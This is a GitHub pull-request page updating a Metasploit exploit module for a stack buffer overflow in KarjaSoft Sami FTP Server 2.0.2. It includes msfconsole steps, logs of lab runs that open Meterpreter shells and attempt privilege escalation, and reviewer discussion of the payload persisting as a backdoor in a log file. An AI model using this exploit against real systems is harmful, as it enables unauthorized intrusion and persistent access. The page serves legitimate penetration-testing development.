Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update KarjaSoft Sami FTP Server v2.0.2 USER Overflow module #14783

Merged
merged 1 commit into from
Feb 26, 2021

Conversation

bcoles
Copy link
Contributor

@bcoles bcoles commented Feb 20, 2021

Update KarjaSoft Sami FTP Server v2.0.2 USER Overflow module.

  • Add documentation
  • Update style to be compliant with Rubocop
  • Add AutoCheck
  • Add authors for discovery and previous exploits
  • Add notes

This is effectively a re-write largely based on n30m1nd's exploit which utilises SEH overwrite.

The payload space has been increased from 300 to 800. The previous size was insufficient to fit most payloads. Bind and reverse shell/meterpreter payloads now fit easily.

The targets have been replaced with a universal p/p/r in tmp01.dll. This is significantly more reliable than the previous approach which used different offsets for ws2help.dll Windows DLLs.

This also allows the module to work on modern targets (including Windows 7 and Windows 10) instead of being restricted to Windows 2000/XP era systems (which is super important for a 15 year old vulnerability in software that no one uses).

Vulnerable Application

This module exploits an unauthenticated stack buffer overflow in
KarjaSoft Sami FTP Server version 2.0.2 by sending an overly long
USER string during login.

The payload is triggered when the administrator opens the application
GUI. If the GUI window is open at the time of exploitation, the
payload will be executed immediately. Keep this in mind when selecting
payloads. The application will crash following execution of the
payload and will not restart automatically.

When the application is restarted, it will re-execute the payload
unless the payload has been manually removed from the SamiFTP.binlog
log file.

This module has been tested successfully on Sami FTP Server versions:

  • 2.0.2 on Windows XP SP0 (x86)
  • 2.0.2 on Windows 7 SP1 (x86)
  • 2.0.2 on Windows 7 SP1 (x64)
  • 2.0.2 on Windows 10 (1909) (x64)

Verification Steps

Download:

Metasploit:

  1. msfconsole
  2. use exploit/windows/ftp/sami_ftpd_user
  3. set rhosts <rhosts>
  4. exploit

Options

Scenarios

KarjaSoft Sami FTP Server version 2.0.2 on Windows 10 (1909) (x64)

msf6 > use exploit/windows/ftp/sami_ftpd_user 
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/ftp/sami_ftpd_user) > set rhosts 172.16.191.199
rhosts => 172.16.191.199
msf6 exploit(windows/ftp/sami_ftpd_user) > check
[*] 172.16.191.199:21 - The target appears to be vulnerable. Sami FTP Server version 2.0.2.
msf6 exploit(windows/ftp/sami_ftpd_user) > run
[*] Started reverse TCP handler on 172.16.191.192:4444 
[*] 172.16.191.199:21 - Executing automatic check (disable AutoCheck to override)
[+] 172.16.191.199:21 - The target appears to be vulnerable. Sami FTP Server version 2.0.2.
[*] 172.16.191.199:21 - Sending payload (1414 bytes) ...
[*] Sending stage (175174 bytes) to 172.16.191.199
[*] Meterpreter session 1 opened (172.16.191.192:4444 -> 172.16.191.199:49874) at 2021-02-19 20:24:31 -0500
meterpreter > getuid
Server username: DESKTOP-6VPIDIM\user
meterpreter > sysinfo
Computer        : DESKTOP-6VPIDIM
OS              : Windows 10 (10.0 Build 18363).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 15
Meterpreter     : x86/windows
meterpreter > 

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Feb 25, 2021

Alright overall this module is working as expected. See output below for example run.

However attempting to repeat the exploit after removing the SamiFTP.binlog file doesn't seem to work, and in fact Sami FTP Server still seems to try execute the old payload when the GUI opens. This is the only issue atm, everything else is looking fine

msf6 exploit(windows/ftp/sami_ftpd_user) > run

[*] 172.20.48.26:21 - Executing automatic check (disable AutoCheck to override)
[+] 172.20.48.26:21 - The target appears to be vulnerable. Sami FTP Server version 2.0.2.
[*] 172.20.48.26:21 - Sending payload (1414 bytes) ...
[*] Started bind TCP handler against 172.20.48.26:4444
[*] Sending stage (175174 bytes) to 172.20.48.26
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.20.48.26:4444) at 2021-02-25 14:37:44 -0600

meterpreter > getuid
Server username: DESKTOP-KUO5CML\normal
meterpreter > getprivs

Enabled Process Privileges
==========================

Name
----
SeChangeNotifyPrivilege
SeIncreaseWorkingSetPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege

meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: Access is denied. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
[-] Named Pipe Impersonation (RPCSS variant)
meterpreter > sysinfo
Computer        : DESKTOP-KUO5CML
OS              : Windows 10 (10.0 Build 19041).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 7
Meterpreter     : x86/windows
meterpreter > show options
[-] Unknown command: show.
meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/ftp/sami_ftpd_user) > show options

Module options (exploit/windows/ftp/sami_ftpd_user):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.20.48.26     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  seh              yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     172.20.48.26     no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Sami FTP Server version 2.0.2


msf6 exploit(windows/ftp/sami_ftpd_user) > 

@bcoles
Copy link
Contributor Author

bcoles commented Feb 25, 2021

However attempting to repeat the exploit after removing the SamiFTP.binlog file doesn't seem to work, and in fact Sami FTP Server still seems to try execute the old payload when the GUI opens. This is the only issue atm, everything else is looking fine

This is likely due to file permissions. Once the file is deleted Sami FTP won't have permission to recreate the file unless you're running as an admin user. The easiest way to clean the environment is to empty the file rather than remove it. This issue exists with the existing implementation prior to this PR.

@gwillcox-r7
Copy link
Contributor

However attempting to repeat the exploit after removing the SamiFTP.binlog file doesn't seem to work, and in fact Sami FTP Server still seems to try execute the old payload when the GUI opens. This is the only issue atm, everything else is looking fine

This is likely due to file permissions. Once the file is deleted Sami FTP won't have permission to recreate the file unless you're running as an admin user. The easiest way to clean the environment is to empty the file rather than remove it. This issue exists with the existing implementation prior to this PR.

Ah okay your documentation suggested that this was the way to resolve this issue when I read it, so it might be good to explain that this solution only works if the file can be recreated as an administrator user, and that otherwise clearing the contents of the file is advisable.

@bcoles
Copy link
Contributor Author

bcoles commented Feb 25, 2021

However attempting to repeat the exploit after removing the SamiFTP.binlog file doesn't seem to work, and in fact Sami FTP Server still seems to try execute the old payload when the GUI opens. This is the only issue atm, everything else is looking fine

This is likely due to file permissions. Once the file is deleted Sami FTP won't have permission to recreate the file unless you're running as an admin user. The easiest way to clean the environment is to empty the file rather than remove it. This issue exists with the existing implementation prior to this PR.

Ah okay your documentation suggested that this was the way to resolve this issue when I read it, so it might be good to explain that this solution only works if the file can be recreated as an administrator user, and that otherwise clearing the contents of the file is advisable.

The documentation states to remove the payload from the log file, not to remove the log file.

When the application is restarted, it will re-execute the payload
unless the payload has been manually removed from the SamiFTP.binlog
log file.

@gwillcox-r7
Copy link
Contributor

However attempting to repeat the exploit after removing the SamiFTP.binlog file doesn't seem to work, and in fact Sami FTP Server still seems to try execute the old payload when the GUI opens. This is the only issue atm, everything else is looking fine

This is likely due to file permissions. Once the file is deleted Sami FTP won't have permission to recreate the file unless you're running as an admin user. The easiest way to clean the environment is to empty the file rather than remove it. This issue exists with the existing implementation prior to this PR.

Ah okay your documentation suggested that this was the way to resolve this issue when I read it, so it might be good to explain that this solution only works if the file can be recreated as an administrator user, and that otherwise clearing the contents of the file is advisable.

The documentation states to remove the payload from the log file, not to remove the log file.

When the application is restarted, it will re-execute the payload
unless the payload has been manually removed from the SamiFTP.binlog
log file.

Tried this several times however despite the payload being removed from C:\Program Files (x86)\PMSystem\Plugins\Sami FTP Server\SamoFTP.binlog, and me restarting the service, the payload seems to still somehow be executed upon starting the GUI.

@bcoles
Copy link
Contributor Author

bcoles commented Feb 25, 2021

However attempting to repeat the exploit after removing the SamiFTP.binlog file doesn't seem to work, and in fact Sami FTP Server still seems to try execute the old payload when the GUI opens. This is the only issue atm, everything else is looking fine

This is likely due to file permissions. Once the file is deleted Sami FTP won't have permission to recreate the file unless you're running as an admin user. The easiest way to clean the environment is to empty the file rather than remove it. This issue exists with the existing implementation prior to this PR.

Ah okay your documentation suggested that this was the way to resolve this issue when I read it, so it might be good to explain that this solution only works if the file can be recreated as an administrator user, and that otherwise clearing the contents of the file is advisable.

The documentation states to remove the payload from the log file, not to remove the log file.

When the application is restarted, it will re-execute the payload
unless the payload has been manually removed from the SamiFTP.binlog
log file.

Tried this several times however despite the payload being removed from C:\Program Files (x86)\PMSystem\Plugins\Sami FTP Server\SamoFTP.binlog, and me restarting the service, the payload seems to still somehow be executed upon starting the GUI.

That seems unlikely, presuming you're using the correct path SamiFTP.binlog not SamoFTP.binlog. I can't reproduce this behavior and didn't encounter this behavior on any of my test systems with any version. Perhaps you have more than one process running? Regardless, this behavior has unlikely to have changed with this PR.

@bcoles
Copy link
Contributor Author

bcoles commented Feb 25, 2021

That seems unlikely, presuming you're using the correct path SamiFTP.binlog not SamoFTP.binlog. I can't reproduce this behavior and didn't encounter this behavior on any of my test systems with any version. Perhaps you have more than one process running? Regardless, this behavior has unlikely to have changed with this PR.

Looks like you're correct. The application hangs upon opening on Windows 10 even if the SamiFTP.binlog has been emptied.

@bcoles
Copy link
Contributor Author

bcoles commented Feb 25, 2021

That seems unlikely, presuming you're using the correct path SamiFTP.binlog not SamoFTP.binlog. I can't reproduce this behavior and didn't encounter this behavior on any of my test systems with any version. Perhaps you have more than one process running? Regardless, this behavior has unlikely to have changed with this PR.

Looks like you're correct. The application hangs upon opening on Windows 10 even if the SamiFTP.binlog has been emptied.

Ah, no, that's not what's happening. My guess is that it's not re-executing the payload, it's trying to bind to port 21 and freezing because it has insufficient privileges. Try running as administrator.

@gwillcox-r7
Copy link
Contributor

However attempting to repeat the exploit after removing the SamiFTP.binlog file doesn't seem to work, and in fact Sami FTP Server still seems to try execute the old payload when the GUI opens. This is the only issue atm, everything else is looking fine

This is likely due to file permissions. Once the file is deleted Sami FTP won't have permission to recreate the file unless you're running as an admin user. The easiest way to clean the environment is to empty the file rather than remove it. This issue exists with the existing implementation prior to this PR.

Ah okay your documentation suggested that this was the way to resolve this issue when I read it, so it might be good to explain that this solution only works if the file can be recreated as an administrator user, and that otherwise clearing the contents of the file is advisable.

The documentation states to remove the payload from the log file, not to remove the log file.

When the application is restarted, it will re-execute the payload
unless the payload has been manually removed from the SamiFTP.binlog
log file.

Tried this several times however despite the payload being removed from C:\Program Files (x86)\PMSystem\Plugins\Sami FTP Server\SamoFTP.binlog, and me restarting the service, the payload seems to still somehow be executed upon starting the GUI.

That seems unlikely, presuming you're using the correct path SamiFTP.binlog not SamoFTP.binlog. I can't reproduce this behavior and didn't encounter this behavior on any of my test systems with any version. Perhaps you have more than one process running? Regardless, this behavior has unlikely to have changed with this PR.

Woops yes meant SamiFTP.binlog, that was a typo. Confirmed I don't have more than one process running. Regardless I'm unable to commit this if the documentation is not accurate and I'd also be concerned given this behavior about any side effects labels this may now require given in my tests this effectively leaves a backdoor until the target software is uninstalled and reinstalled.

@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Feb 25, 2021

On a potential related note, when testing sometimes the exploit won't actually work. This appears to be a timeout issue as can be seen below:

msf6 exploit(windows/ftp/sami_ftpd_user) > run

[*] 172.20.48.26:21 - Executing automatic check (disable AutoCheck to override)
[+] 172.20.48.26:21 - The target appears to be vulnerable. Sami FTP Server version 2.0.2.
[*] 172.20.48.26:21 - Sending payload (1414 bytes) ...
[*] Started bind TCP handler against 172.20.48.26:4444
[*] Exploit completed, but no session was created.
msf6 exploit(windows/ftp/sami_ftpd_user) > show options

Module options (exploit/windows/ftp/sami_ftpd_user):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  172.20.48.26     yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  seh              yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     172.20.48.26     no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Sami FTP Server version 2.0.2


msf6 exploit(windows/ftp/sami_ftpd_user) > use multi/handler
[*] Using configured payload windows/meterpreter/bind_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     172.20.48.26     no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 172.20.48.26:4444

The target stops responding but no shell is spawned. Rebooting the target after it has stopped working will start the exploit again. Testing against Windows 10 v2004 x64 with the target installed by an administrator but running as a normal user in case it helps.

@bcoles
Copy link
Contributor Author

bcoles commented Feb 25, 2021

Woops yes meant SamiFTP.binlog, that was a typo. Confirmed I don't have more than one process running. Regardless I'm unable to commit this if the documentation is not accurate

The documentation is accurate and infinitely better than the current documentation which does not exist.

The payload is not re-executing after you have cleared the log file. The application is freezing due to a permission issue due to running as a low privileged user. You are experiencing an application freeze. You can not getting a connection back due to execution of the payload once the payload has been removed from the system.

If you remove the payload from the SamiFTP.binlog log file then the payload is no longer in the SamiFTP.binlog log file. If the payload is not in the SamiFTP.binlog log file then the payload will not be executed.

If you exploit the application, then clear the log file as described, the system no longer contains the payload. If you open a listener on the metasploit host on port 4444 (presuming you were using a reverse shell to port 4444), then reopen the application you won't get a connection back. The payload is not executed because you have removed it from the system.

The application gives the appearance of re-executing the payload because it freezes when it is started. This is a permission issue. The freeze will go away if you run the application as an administrator.

given in my tests this effectively leaves a backdoor until the target software is uninstalled and reinstalled.

The backdoor persists only until the log is cleared. This is documented in the module description and the module documentation. It is not uncommon for Metasploit modules to do this and it is acceptable so long as the backdoor is documented. For example, this is particularly common for modules which write a payload to the Windows StartUp directory.

The existing module also left a "backdoor". The existing module description states that the payload will remain on the system and will be re-executed:

When the server is restarted, it will re-execute the exploit until the logfile is manually deleted via the file system.

The updated module description in this PR states similarly:

When the application is restarted, it will re-execute the payload unless the payload has been manually removed from the SamiFTP.binlog log file.

@bcoles
Copy link
Contributor Author

bcoles commented Feb 25, 2021

On a potential related note, when testing sometimes the exploit won't actually work. This appears to be a timeout issue as can be seen below:

The module is extremely reliable. The module ranking is GreatRanking to allow for circumstances in which it may fail, which in my experience are exceedingly rare.

@gwillcox-r7 gwillcox-r7 merged commit 6d939c1 into rapid7:master Feb 26, 2021
@gwillcox-r7 gwillcox-r7 added the rn-enhancement release notes enhancement label Feb 26, 2021
@gwillcox-r7
Copy link
Contributor

gwillcox-r7 commented Feb 26, 2021

Release Notes

Updated the KarjaSoft Sami FTP Server v2.0.2 USER Overflow module, including documentation, RuboCop updates, support for the AutoCheck mixin to automatically check if a target is vulnerable, an updated list of authors, as well as improvements to its exploit strategy that allow it to use only one offset within a DLL shipped with the target for exploitation (instead of relying on an Windows OS DLL whose offsets could change as the OS was updated).

@bcoles bcoles deleted the sami_ftpd_user branch February 26, 2021 17:36
This pull request was closed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants